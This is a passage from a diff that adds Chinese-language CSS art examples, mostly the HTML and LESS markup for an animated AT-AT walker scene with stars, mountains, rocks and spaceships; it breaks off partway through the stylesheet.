+  background: none;
+  border-top: 0px solid transparent;
+  border-right: 10px solid rgb(133, 77, 77);
+  border-bottom: 10px solid transparent;
+  border-left: 10px solid rgb(133, 77, 77);
+  height: 0;
+  width: 0;
+}
+#bookmark-shadow {
+  background: linear-gradient(top,rgba(83, 53, 13, 0.25),rgba(83, 53, 13, 0.11));
+  height: 15px;
+  width: 20px;
+  position: absolute;
+  transform: translate3d(12px,350px,-25px) rotateX(-90deg) skewX(20deg);
+  transform-origin: 0 0;
+}
+
+JS:
+
+//You may also like Plugin
+/*alsolike(
+  "iqtlk", "Pure CSS Weather Icons",
+  "nKCsI", "Semantic Sandwich",
+  "vlrnd", "CSS Only iPhone 6"
+);*/
+```
+
+效果预览：[https://codepen.io/fbrz/pen/whxbF](https://codepen.io/fbrz/pen/whxbF)
+
+#### 案例3
+
+```
+HTML:
+
+<section>
+        <div class="at-at">
+      <div class="at-at-content">
+        <div class="at-at-body">
+          <div class="at-at-head">
+            <div class="at-at-neck">
+              <div class="neck-ribs">
+                <div class="neck-cable-first"></div>
+                <div class="neck-cable-second"></div>
+                <div class="neck-cable-last"></div>
+                <i></i><i></i><i></i><i></i>
+              </div>
+              <div class="neck-bg"></div>
+            </div>
+            <div class="head-bg">
+              <div class="head-snout">
+                <div class="in-head-snout"></div>
+                <div class="head-snout-gun"></div>
+              </div>
+              <i class="head-bg-first"></i>
+              <i class="head-bg-second"></i>
+            </div>
+            <div class="head">
+              <div class="head-chin">
+                <i class="head-chin-bg-first"></i>
+                <i class="head-chin-bg-second"></i>
+                <i class="head-gun"></i>
+                <i class="fire"><i></i><i></i><i></i></i>
+              </div>
+            </div>
+            <i class="head-left-bg"></i>
+            <i class="head-top-bg"></i>
+          </div>
+          <div class="at-at-body-left">
+            <i class="at-at-body-left-bg-1"></i>
+            <i class="at-at-body-left-bg-2"></i>
+            <i class="at-at-body-left-bg-3"></i>
+            <i class="at-at-body-left-bg-4"></i>
+            <i class="at-at-body-left-bg-5"></i>
+            <div class="at-at-body-left-bg"></div>
+          </div>
+          <div class="at-at-body-right">
+            <i class="at-at-body-right-bg-1"></i>
+            <i class="at-at-body-right-bg-2"></i>
+            <i class="at-at-body-right-bg-3"></i>
+            <i class="at-at-body-right-bg-4"></i>
+            <i class="at-at-body-right-bg-5"></i>
+            <div class="at-at-body-right-bg"></div>
+          </div>
+          <div class="at-at-body-bottom">
+            <div class="at-at-body-bottom-bg"><i></i><i></i><i></i></div>
+            <div class="body-bottom-left"></div>
+          </div>
+          <div class="at-at-body-bg">
+            <i></i><i></i><i></i><i></i>
+            <div class="i"></div>
+          </div>
+          <div class="at-at-body-bg-first-block">
+            <i class="at-at-body-bg-first-block-item-1"></i>
+            <i class="at-at-body-bg-first-block-item-2"></i>
+            <i class="at-at-body-bg-first-block-item-3"></i>
+          </div>
+          <div class="at-at-body-bg-second-block">
+            <i class="at-at-body-bg-second-block-item-1"></i>
+            <i class="at-at-body-bg-second-block-item-2"></i>
+          </div>
+          <div class="at-at-body-bg-third-block">
+            <i class="at-at-body-bg-third-block-item-1"></i>
+            <i class="at-at-body-bg-third-block-item-2"></i>
+            <i class="at-at-body-bg-third-block-item-3"></i>
+          </div>
+        </div>
+        <div class="dark-bg">
+          <i class="dark-bg-right"></i>
+        </div>
+      </div>
+      <div class="leg-content leg-front">
+        <div class="leg-first-joint"><i></i></div>
+        <div class="leg-first">
+          <i class="leg-first-hr-a"></i>
+          <i class="leg-first-hr-b"></i>
+          <div class="in-first-leg">
+            <div class="leg-second-joint"><i></i></div>
+            <div class="leg-second">
+              <i class="leg-second-hr"></i>
+              <div class="in-second-leg">
+                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
+                <div class="foot-ankle-bottom"></div>
+                <div class="foot-ankle-space"></div>
+                <div class="foot">
+                  <div class="foot-bottom"></div>
+                  <div class="foot-land"></div>
+                </div>
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+      <div class="leg-content leg-rear">
+        <div class="leg-first-joint"><i></i></div>
+        <div class="leg-first">
+          <i class="leg-first-hr-a"></i>
+          <i class="leg-first-hr-b"></i>
+          <div class="in-first-leg">
+            <div class="leg-second-joint"><i></i></div>
+            <div class="leg-second">
+              <i class="leg-second-hr"></i>
+              <div class="in-second-leg">
+                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
+                <div class="foot-ankle-bottom"></div>
+                <div class="foot-ankle-space"></div>
+                <div class="foot">
+                  <div class="foot-bottom"></div>
+                  <div class="foot-land"></div>
+                </div>
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+      <div class="leg-content leg-front-back">
+        <div class="leg-first-joint"><i></i></div>
+        <div class="leg-first">
+          <i class="leg-first-hr-a"></i>
+          <i class="leg-first-hr-b"></i>
+          <div class="in-first-leg">
+            <div class="leg-second-joint"><i></i></div>
+            <div class="leg-second">
+              <i class="leg-second-hr"></i>
+              <div class="in-second-leg">
+                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
+                <div class="foot-ankle-bottom"></div>
+                <div class="foot-ankle-space"></div>
+                <div class="foot">
+                  <div class="foot-bottom"></div>
+                  <div class="foot-land"></div>
+                </div>
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+      <div class="leg-content leg-rear-back">
+        <div class="leg-first-joint"><i></i></div>
+        <div class="leg-first">
+          <i class="leg-first-hr-a"></i>
+          <i class="leg-first-hr-b"></i>
+          <div class="in-first-leg">
+            <div class="leg-second-joint"><i></i></div>
+            <div class="leg-second">
+              <i class="leg-second-hr"></i>
+              <div class="in-second-leg">
+                <div class="foot-joint"><i class="foot-ankle"><i class="foot-ankle-bg"></i></i></div>
+                <div class="foot-ankle-bottom"></div>
+                <div class="foot-ankle-space"></div>
+                <div class="foot">
+                  <div class="foot-bottom"></div>
+                  <div class="foot-land"></div>
+                </div>                      
+              </div>
+            </div>
+          </div>
+        </div>
+      </div>
+  </div>
+
+        <div class="bg">
+            <i class="star star-1"></i>
+            <i class="star star-2"></i>
+            <i class="star star-3"></i>
+            <i class="star star-4"></i>
+            <i class="star star-5"></i>
+            <i class="star star-6"></i>
+            <i class="star-small star-small-1"></i>
+            <i class="star-small star-small-2"></i>
+            <i class="star-small star-small-3"></i>
+            <i class="star-small star-small-4"></i>
+            <i class="star-small star-small-5"></i>
+            <i class="star-small star-small-6"></i>
+            <i class="star-small star-small-7"></i>
+            <i class="star-small star-small-8"></i>
+            <i class="star-small star-small-9"></i>
+            <i class="star-small star-small-10"></i>
+        </div>
+        <i class="moon"></i>
+        <i class="mountain-first">
+            <i class="mountain-shadow"></i>
+        </i>
+        <i class="mountain-second">
+            <i class="mountain-shadow"></i>
+            <span class="mountain-top"></span>
+        </i>
+        <div class="first-bg">
+            <div class="first-bg-anim">
+                <i class="first"></i>
+                <i class="second"></i>
+                <i class="third"></i>
+                <i class="last"></i>
+            </div>
+            <div class="second-bg-anim">
+                <div class="first-rock-content">
+                    <div class="rock-content rock-content-1">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-2">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-3">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-4">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-5">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-6">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                </div>
+                <div class="second-rock-content">
+                    <div class="rock-content rock-content-1">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-2">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-3">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-4">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-5">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                    <div class="rock-content rock-content-6">
+                        <i class="rock rock-big rock-1"></i>
+                        <i class="rock rock-big rock-2"></i>
+                        <i class="rock rock-big rock-3"></i>    
+                        <i class="rock rock-middle rock-7"></i>
+                        <i class="rock rock-middle rock-8"></i>
+                        <i class="rock rock-middle rock-9"></i>
+                        <i class="rock rock-middle rock-10"></i>
+                        <i class="rock rock-middle rock-11"></i>
+                        <i class="rock rock-middle rock-12"></i>
+                        <i class="rock rock-middle rock-13"></i>
+                        <i class="rock rock-middle rock-14"></i>
+                    </div>
+                </div>
+            </div>
+        </div>
+
+        <div class="space-ship space-ship-small">
+      <i class="space-ship-wing"></i>
+      <i class="space-ship-bg"><i class="space-ship-gun"></i></i>
+        </div>
+        <div class="space-ship space-ship-big">
+      <i class="space-ship-wing"></i>
+      <i class="space-ship-bg"><i class="space-ship-gun"></i></i>
+        </div>
+    </section>
+
+LESS:
+
+// BODY
+// ---------
+*{
+  -webkit-box-sizing: border-box;
+   -khtml-box-sizing: border-box;
+     -moz-box-sizing: border-box;
+      -ms-box-sizing: border-box;
+          box-sizing: border-box;
+  *behavior: url(js/libs/boxsizing.htc);
+}
+html, body {
+  .square(100%);
+}
+
+body {
+  margin: 0;
+  line-height: 1;
+  color:@black;
+  background:#0092ff;
+}
+
+
+// LAYOUT
+// ---------
+section{
+  position:relative;
+  .square(100%);
+  min-height:500px;
+  overflow:hidden;
+}
+
+.bg{
+  position:absolute;
+  left:0;
+  top:0;
+  .size(100%, 70%);
+  z-index:1;
+
+  .star{
+    position:absolute;
+    .square(10px);
+    .border-radius(6px);
+    background:@white;
+    .opacity(50);
+  }
+  .star-small{
+    position:absolute;
+    .square(5px);
+    .border-radius(3px);
+    background:@white;
+    .opacity(50);
+  }
+  .star-1{
+    left:5%;
+    top:40%;
+  }
+  .star-2{
+    left:20%;
+    top:5%;
+  }
+  .star-3{
+    left:40%;
+    top:20%;
+  }
+  .star-4{
+    left:60%;
+    top:5%;
+  }
+  .star-5{
+    left:80%;
+    top:60%;
+  }
+  .star-6{
+    left:95%;
+    top:10%;
+  }
+
+  .star-small-1{
+    left:10%;
+    top:15%;
+  }
+  .star-small-2{
+    left:14%;
+    top:25%;
+  }
+  .star-small-3{
+    left:8%;
+    top:60%;
+  }
+  .star-small-4{
+    left:25%;
+    top:40%;
+  }
+  .star-small-5{
+    left:18%;
+    top:75%;
+  }
+  .star-small-6{
+    left:50%;
+    top:40%;
+  }
+  .star-small-7{
+    left:60%;
+    top:20%;
+  }
+  .star-small-8{
+    left:70%;
+    top:40%;
+  }
+  .star-small-9{
+    left:90%;
+    top:20%;
+  }
+  .star-small-10{
+    left:85%;
+    top:40%;
+  }
+}
+.moon{
+  position:absolute;
+  left:50%;
+  top:25%;
+  margin:-60px 0 0 -260px;
+  .size(180px, 180px);
+  .border-radius(90px);
+  background: -moz-linear-gradient(-45deg,  rgba(255,255,255,1) 0%, rgba(255,255,255,0.99) 1%, rgba(255,255,255,0) 70%);
+  background: -webkit-gradient(linear, left top, right bottom, color-stop(0%,rgba(255,255,255,1)), color-stop(1%,rgba(255,255,255,0.99)), color-stop(70%,rgba(255,255,255,0)));
+  background: -webkit-linear-gradient(-45deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
+  background: -o-linear-gradient(-45deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
+  background: -ms-linear-gradient(-45deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
+  background: linear-gradient(135deg,  rgba(255,255,255,1) 0%,rgba(255,255,255,0.99) 1%,rgba(255,255,255,0) 70%);
+  .rotate(90deg);
+  z-index:5;
+}
+.mountain-first{
+  position:absolute;
+  left:0;
+  top:50%;
+  margin-top:-260px;
+  .size(550px, 400px);
+  z-index:1;
+
+  &:before{
+    content:'';
+    position:absolute;
+    left:-100px;
+    bottom:0;
+    .square(0);
+    border-style: solid;
+    border-width: 0 300px 300px 200px;
+    border-color: transparent transparent #4cb3ff transparent;
+    z-index:2;
+  }
+  &:after{
+    content:'';
+    position:absolute;
+    left:0;
+    bottom:0;
+    .size(100%, 60%);
+    background: -moz-linear-gradient(top,  rgba(125,185,232,0) 0%, rgba(0,146,255,1) 65%);
+    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(125,185,232,0)), color-stop(65%,rgba(0,146,255,1)));
+    background: -webkit-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    background: -o-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    background: -ms-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    background: linear-gradient(to bottom,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    .opacity(80);
+    z-index:4;
+  }
+  .mountain-shadow{
+    position:absolute;
+    left:-100px;
+    bottom:0;
+    .square(0);
+    border-style: solid;
+    border-width: 0 450px 300px 200px;
+    border-color: transparent transparent #7bc7ff transparent;
+  }
+}
+.mountain-second{
+  position:absolute;
+  right:-10px;
+  top:50%;
+  margin-top:-240px;
+  .size(500px, 400px);
+  z-index:1;
+
+  &:before{
+    content:'';
+    position:absolute;
+    left:0;
+    bottom:0;
+    .square(0);
+    border-style: solid;
+    border-width: 0 350px 350px 300px;
+    border-color: transparent transparent #4cb3ff transparent;
+    z-index:2;
+  }
+  &:after{
+    content:'';
+    position:absolute;
+    left:0;
+    bottom:0;
+    .size(100%, 100%);
+    background: -moz-linear-gradient(top,  rgba(125,185,232,0) 0%, rgba(0,146,255,1) 65%);
+    background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,rgba(125,185,232,0)), color-stop(65%,rgba(0,146,255,1)));
+    background: -webkit-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    background: -o-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    background: -ms-linear-gradient(top,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    background: linear-gradient(to bottom,  rgba(125,185,232,0) 0%,rgba(0,146,255,1) 65%);
+    .opacity(80);
+    z-index:4;
+  }
+  .mountain-shadow{
+    position:absolute;
+    left:0;
+    bottom:0;
+    .square(0);
+    border-style: solid;
+    border-width: 0 650px 350px 300px;
+    border-color: transparent transparent #7bc7ff transparent;
+  }
+  .mountain-top{
+    position:absolute;
+    left:50%;
+    top:110px;
+    margin:0 0 0 30px;
+    .square(50px);
+    z-index:8;
+
+    &:after{
+      content:'';
+      position:absolute;
+      left:0;
+      top:0;
+      border-style: solid;
+      border-width: 0 50px 20px 50px;
+      border-color: transparent transparent #50b4ff transparent;
+      .rotate(-125deg);
+    }
+    &:before{
+      content:'';
+      position:absolute;
+      left:-5px;
+      top:0;
+      border-style: solid;
+      border-width: 0 50px 20px 50px;
+      border-color: transparent transparent #50b4ff transparent;
+      .rotate(30deg);
+    }
+  }
+}
+
+.first-bg{
+  position:absolute;
+  left:-10%;
+  top:50%;
+  margin-top:120px;
+  .size(120%, 10px);
+  border-bottom: 580px solid #104166;
+  border-left: 8px solid transparent;
+  border-right: 14px solid transparent;
+  height: 0;
+  .rotate(2deg);
+  z-index:100;
+}
+.first-bg-anim{
+  position:absolute;
+  left:0;
+  top:0;
+  .size(100%, auto);
+
+  .first{
+    position:absolute;
+    left:-10%;
+    bottom:-5px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 160px 60px 80px;
+    border-color: transparent transparent #104166 transparent;
+    animation: first-rock 30s infinite;
+    animation-fill-mode: forwards;
+    animation-timing-function: linear;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:0px;
+      top:30px;
+      .square(0);
+      border-style: solid;
+      border-width: 0 60px 20px 40px;
+      border-color: transparent transparent #0c4a78 transparent;
+      .rotate(-160deg);
+    }
+  }
+  .second{
+    position:absolute;
+    left:-10%;
+    bottom:-5px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 80px 80px 160px;
+    border-color: transparent transparent #104166 transparent;
+    animation: first-rock 30s infinite;
+    animation-delay: 8s;
+    animation-fill-mode: forwards;
+    animation-timing-function: linear;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:-30px;
+      top:35px;
+      .square(0);
+      border-style: solid;
+      border-width: 0 20px 40px 60px;
+      border-color: transparent transparent #0c4a78 transparent;
+      .rotate(-135deg);
+    }
+  }
+  .third{
+    position:absolute;
+    left:-10%;
+    bottom:-5px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 160px 60px 80px;
+    border-color: transparent transparent #104166 transparent;
+    animation: first-rock 30s infinite;
+    animation-delay: 16s;
+    animation-fill-mode: forwards;
+    animation-timing-function: linear;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:0px;
+      top:30px;
+      .square(0);
+      border-style: solid;
+      border-width: 0 60px 20px 40px;
+      border-color: transparent transparent #0c4a78 transparent;
+      .rotate(-160deg);
+    }
+  }
+  .last{
+    position:absolute;
+    left:-10%;
+    bottom:-5px;
+    .square(0);
+    border-style: solid;
+    border-width: 0 80px 80px 160px;
+    border-color: transparent transparent #104166 transparent;
+    animation: first-rock 30s infinite;
+    animation-delay:24s;
+    animation-fill-mode: forwards;
+    animation-timing-function: linear;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:-30px;
+      top:35px;
+      .square(0);
+      border-style: solid;
+      border-width: 0 20px 40px 60px;
+      border-color: transparent transparent #0c4a78 transparent;
+      .rotate(-135deg);
+    }
+  }
+}
+
+.second-bg-anim{
+  position:absolute;
+  left:0;
+  top:0;
+  .size(100%, auto);
+
+  .first-rock-content{
+    position:absolute;
+    left:0;
+    top:0;
+    .size(100%, 100%);
+    animation: rock 20s infinite;
+    animation-fill-mode: forwards;
+    animation-timing-function: linear;
+  }
+  .second-rock-content{
+    //display:none;
+    position:absolute;
+    left:-100%;
+    top:0;
+    .size(100%, 100%);
+    animation: rock 20s infinite;
+    animation-fill-mode: forwards;
+    animation-timing-function: linear;
+  }
+  .rock{
+    position:absolute;
+    overflow:hidden;
+
+    &:before{
+      content:'';
+      position:absolute;
+      left:50%;
+      top:0;
+      .border-radius(50px);
+      background:#0c4a78;
+    }
+  }
+  .rock-middle{
+    .size(60px, 10px);
+
+    &:before{
+      margin:0 0 0 -50px;
+      .square(100px);
+    }
+  }
+  .rock-big{
+    .size(76px, 22px);
+
+    &:before{
+      margin:0 0 0 -50px;
+      .square(100px);
+    }
+  }
+  .rock-content{
+    //display:none;
+    position:absolute;
+    top:0;
+    .size(25%, 100%);
+  }
+  .rock-content-1{
+    display:block;
+    left:0;
+  }
+  .rock-content-2{
+    display:block;
+    left:20%;
+    top:-20px;
+  }
+  .rock-content-3{
+    display:none;
+    left:40%;
+    top:30px;
+  }
+  .rock-content-4{
+    left:60%;
+    top:-20px;
+  }
+  .rock-content-5{
+    left:80%;
+  }
+  .rock-content-6{
+    display:none;
+    left:90%;
+  }
+  .rock-1{
+    left:70%;
+    top:240px;
+  }
+  .rock-2{
+    left:40%;
+    top:150px;
+  }
+  .rock-3{
+    display:none;
+    left:90%;
+    top:70px;
+  }
+
+  .rock-7{
+    left:32%;
+    top:50px;
+  }
+  .rock-8{
+    left:64%;
+    top:110px;
+    display:none;
+  }
+  .rock-9{
+    left:80%;
+    top:130px;
+    display:none;
+  }
+  .rock-10{
+    left:74%;
+    top:200px;
+    display:none;
+  }
+  .rock-11{
+    left:87%;
+    top:170px;
+  }
+  .rock-12{
+    left:35%;
+    top:240px;
+    display:none;
+  }
+  .rock-13{
+    left:45%;
+    top:100px;
+    display:none;
+  }
+  .rock-14{
+    left:65%;
+    top:40px;
+
+  }
+}
+
+
+
+// SPACE SHIP
+.space-ship{
+  position:absolute;
+  left:-30%;
+  top:20%;
+  .size(97px, 32px);
+  background:#104166;
+  z-index:1000;
+  -webkit-filter: blur(5px);
+  -moz-filter: blur(5px);
+  -o-filter: blur(5px);
+  -ms-filter: blur(5px);
+  filter: blur(5px);
+
+  &:before{
+    content:'';
+    position:absolute;
+    left:-9px;
+    top:50%;
+    margin:-11px 0 0 0;
+    .size(9px, 22px);
+    background:#104166;
+  }
+  &:after{
+    content:'';
+    position:absolute;
+    left:100%;
+    top:0;
+    .square(0);
+    border-style: solid;
+    border-width: 32px 0 0 108px;
+    border-color: transparent transparent transparent #104166;
+  }
+}
+.space-ship-small{
+  animation: ship 4s infinite;
+  animation-fill-mode: forwards;
+  animation-timing-function: ease-in;
+  animation-delay: 4s;
+}
+.space-ship-big{
+  left:-30%;
+  top:50%;
+  .scale(2.5);
+  animation: ship 2s infinite;
+  animation-fill-mode: forwards;
+  animation-timing-function: ease-in;
+  animation-delay: 4s;
+}
+
+.space-ship-wing{
+  position:absolute;
+  left:27px;
+  top:-14px;
+  .size(50px, 25px);
+  background:#22689d;
+  z-index:2;
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:100%;
+    top:0;
+    .square(0);
+    border-style: solid;
+    border-width: 25px 0 0 37px;
+    border-color: transparent transparent transparent #22689d;
+  }
+}
+.space-ship-bg{
+  position:absolute;
+  left:32px;
+  top:100%;
+  .size(60px, 18px);
+  background:#104166;
+
+  &:before,
+  &:after{
+    content:'';
+    position:absolute;
+    top:0;
+    .square(0);
+    border-style: solid;
+  }
+  &:before{
+    left:-12px;
+    border-width: 0 12px 18px 0;
+    border-color: transparent #104166 transparent transparent;
+  }
+  &:after{
+    right:-12px;
+    border-width: 18px 12px 0 0;
+    border-color: #104166 transparent transparent transparent;
+  }
+}
+.space-ship-gun{
+  position:absolute;
+  left:17px;
+  top:1px;
+  .size(30px, 10px);
+  background:#22689d;
+  z-index:2;
+
+  &:after{
+    content:'';
+    position:absolute;
+    left:100%;
+    bottom:1px;
+    .size(94px, 4px);
+    background:#22689d;
+  }
+}
+
+
+
+
+// AT-AT
+.at-at{
+  position:absolute;
+  left:50%;
+  top:50%;
+  margin:-135px 0 0 -120px;
+  .size(250px, 114px); // height 270px
+  z-index:95;
+}
+.at-at-content{
+  position:absolute;
+  left:0;
+  top:0;
+  //margin-top:;
+  .square(100%);
+  z-index:10;
+
+  .dark-bg{
+    position:absolute;
+    right:50px;
+    bottom:-10px;
+    .size(145px, 104px);
+    background:#104166;
+
+    &:before,
+    &:after{
+      content:'';
+      position:absolute;
+      bottom:-22px;
+      .square(60px);
+      .border-radius(30px);
+      background:#104166;
+    }
+    &:before{
+      left:-43px;
+    }
+    &:after{
+      right:-45px;
+    }
+  }
+  .dark-bg-right{
+    position:absolute;
+    left:100%;
+    bottom:0;
+    .size(50px, 50px);
+    background:#104166;
+
+    &:after{
+      content:'';
+      position:absolute;
+      right:-14px;
+      top:0;
+      .square(0);
+      border-style: solid;
+      border-width: 50px 14px 0 0;
+      border-color: #104166 transparent transparent transparent;
+    }
+    &:before{
+      content:'';
+      position:absolute;
+      right:-14px;
+      top:-18px;
+      .square(0);
+      border-style: solid;
+      border-width: 18px 0 0 54px;
+      border-color: transparent transparent transparent #104166;
+    }
+  }
+}
+
+
+.at-at-body{
+  position:absolute;
+  left:75px;
+  top:-16px;
+  margin-top:15px;
+  .size(100px, 96px);
+  background:@white;
+  z-index:20;
+  animation: at-at-body 2.5s infinite;
+  animation-timing-function: ease-out;
+}
+.at-at-body-bg{
+  position:absolute;
+  left:7px;
+  bottom:7px;
+  padding:4px 5px 0 65px;
+  .size(86px, 32px);
+  .border-radius(6px);
+  background:#9fd6ff;
+  .c;
+
+  .i{
+    position:absolute;
+    left:6px;
+    top:12px;
+    .size(4px, 8px);
+    .border-radius(2px);
+    background:#104166;
+  }
+  &> i{
+    float:right;
+    margin:0 0 2px 0;
+    .size(16px, 4px);
+    .border-radius(2px);
+    background:#104166;
+  }
+}
+.at-at-body-bg-first-block{
+  position:absolute;
+  left:0;
+  top:0;
+  .size(35%, 57px);
+  border-right:2px solid #9fd6ff;
+
+  i{
+    position:absolute;
+    .size(4px, 8px);
+    .border-radius(2px);
+    background:#9fd6ff;
+  }
+  .at-at-body-bg-first-block-item-1{
+    left:9px;
+    top:10px;
+  }
+  .at-at-body-bg-first-block-item-2{
+    left:15px;
+    top:10px;
+  }
+  .at-at-body-bg-first-block-item-3{
+    left:15px;
+    top:34px;
+  }
+}
+.at-at-body-bg-second-block{
+  position:absolute;
+  left:35%;
+  top:0;
+  .size(30%, 57px);
+
+  i{
+    position:absolute;
+    .size(4px, 8px);
+    .border-radius(2px);
+    background:#9fd6ff;
+  }
+  .at-at-body-bg-second-block-item-1{
+    left:18px;
+    top:10px;
+  }
